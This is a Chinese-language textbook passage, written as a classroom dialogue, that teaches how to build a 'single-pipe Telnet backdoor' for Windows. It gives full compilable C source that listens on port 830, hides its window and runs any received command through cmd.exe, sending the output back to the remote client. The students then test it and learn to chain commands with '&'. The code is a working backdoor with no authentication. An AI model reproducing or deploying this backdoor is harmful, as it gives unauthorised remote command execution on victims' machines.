3.3.2 单管道后门的实现

“有了双管道后门的实现基础,单管道后门的实现就简单了。我们只看不同的地方。”老师在黑板上写出来。“和双管道不同的地方就是:只建一个管道,然后将CMD子进程的输出句柄用管道的写句柄替换,如下:”

CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
si.hStdOutput = si.hStdError = hWritePipe1;

“传输用户的命令和结果,先检查管道里有没有输出数据,如有,就将数据读出并发送给客户机;如果没有,就接收远程客户机的命令数据,把命令数据和 cmd /c 合起来,作为参数开启一个新的CMD子进程。代码如下:”

ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
         if(lBytesRead)
         {
              //管道1有输出,读出结果发给远程客户机
              ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
              ret=send(clientFD,Buff,lBytesRead,0);
              if(ret<=0) break;
         }
         else
         {
              //否则,接收远程客户机的命令
              lBytesRead=recv(clientFD,Buff,1024,0);
              if(lBytesRead<=0) break;
              strcpy(cmdLine, "cmd.exe /c");            //cd\ & dir
              strncat(cmdLine, Buff, lBytesRead);
              //以命令为参数,启动CMD执行
                          CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
         }

“注意,这里的 cmd /c 意思是命令执行完毕后,退出DOS窗口程序。”老师提醒道,“测试时我们将会深刻理解它的意思。”

“我们把程序连起来,接收远程命令数据→开进程执行→读出并传回,形成不断的循环,最后再加入错误处理代码,就是一个单管道的Telnet后门了。”

#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")
int main()
{
     WSADATA ws;
     SOCKET listenFD;
     char Buff[1024];
     int ret;
     //初始化wsa
     WSAStartup(MAKEWORD(2,2),&ws);
     //建立socket
     listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     //监听本机830端口
     struct sockaddr_in server;
     server.sin_family = AF_INET;
     server.sin_port = htons(830);
     server.sin_addr.s_addr=ADDR_ANY;
     ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
     ret=listen(listenFD,2);
     //如果客户请求830端口,接受连接
     int iAddrSize = sizeof(server);
     SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
     SECURITY_ATTRIBUTES pipeattr1;
     HANDLE hReadPipe1,hWritePipe1;
     //建立匿名管道1
     pipeattr1.nLength = 12; 
     pipeattr1.lpSecurityDescriptor = 0;
     pipeattr1.bInheritHandle = true;
     CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
     STARTUPINFO si;
     ZeroMemory(&si,sizeof(si));
     si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
     si.wShowWindow = SW_HIDE;
     //si.hStdInput = hReadPipe2;
     si.hStdOutput = si.hStdError = hWritePipe1;
     PROCESS_INFORMATION ProcessInformation;
     char cmdLine[200];
     unsigned long lBytesRead;
     /*
     以命令为参数运行cmd.exe
     (远程主机→传送命令-→以命令为参数建立cmd.exe子进程运行
     (远程主机)←输入→管道1输出→管道1输入→输出(cmd.exe子进程)
     */
     while(1)
     {
         //检查管道1,即cmd进程是否有输出
         ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
         if(lBytesRead)
         {
              //管道1有输出,读出结果发给远程客户机
              ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(!ret) break;
              ret=send(clientFD,Buff,lBytesRead,0);
              if(ret<=0) break;
         }
         else
         {
              //否则,接收远程客户机的命令
              lBytesRead=recv(clientFD,Buff,1024,0);
              if(lBytesRead<=0) break;
              strcpy(cmdLine, "cmd.exe /c");            //cd\ & dir
              strncat(cmdLine, Buff, lBytesRead);
               //以命令为参数,合成后启动CMD执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
         }
     }
     return 0;
}

“哦,测试一下!”大家都想看效果。

“好的,我们测试一下,定义监听的端口是830,执行后再在另一台机器上 Telnet IP 830 ,这样就可执行任意命令了,如图3-21。”

“哦,好呢!”大家忙着敲入几个命令,然后有人说道:“啥提示符都没有……”

“哎哟,没提示符是小事,怎么执行 cd/ 命令没有效果呢?”古风说,“用 dir 命令始终是在这个目录下。”

大家一实践,都发现了。“是啊!好奇怪啊!”

宇强说:“我试试双管道的程序。”操作一番后,宇强说,“双管道是正常的啊!”

“哦?那这是怎么回事啊?”大家都望着老师。

“呵呵!我说过实践的时候大家就会发现问题……”

“啊?莫非是那个 cmd /c 参数的问题?” 宇强想了起来。

“对!”老师说道,“我们输入 cmd /? 后,就会出现图3-22所示的帮助。”

“哇!cmd命令有这么多参数和作用啊?”

“是的,所以像函数和程序具体的用法,我们在使用时查帮助和手册就可以了。我们人类的大脑可不是用来记这个的。大家看看帮助里面是怎么解释的吧!”

“ cmd /c ,执行字符串指定的命令然后中断。”大家念道。

宇强一下叫了起来:“哦!我明白了!”

“什么?快说,快说!”其他人催促道。

“大家想想啊,‘/c’是执行完命令后就中断,我们执行 cd/ 命令后,子进程就没了。下一次的 dir 命令是新一个CMD进程执行的,那当然又是默认目录了!”

“对啊!”其他人一下明白了,“一个子进程只执行一次命令,这就是单管道的特点啊!”

“那我们想执行 cd/ 命令后再执行 dir 怎么办呢?”小倩也问道,“没有办法了吗?”

老师说:“也有办法的。在DOS下,‘&’可以把几个命令合起来。所以我们可以这样输入命令: cd/ & dir 。这样,CMD就会先执行 cd/ 命令,然后执行 dir 命令,最后再退出。”

“试一下。”大家边说边试。“啪”!显示出了F盘下的文件。

“哦!果然成功了!”

“太好了!”大家都情不自禁的鼓起掌来。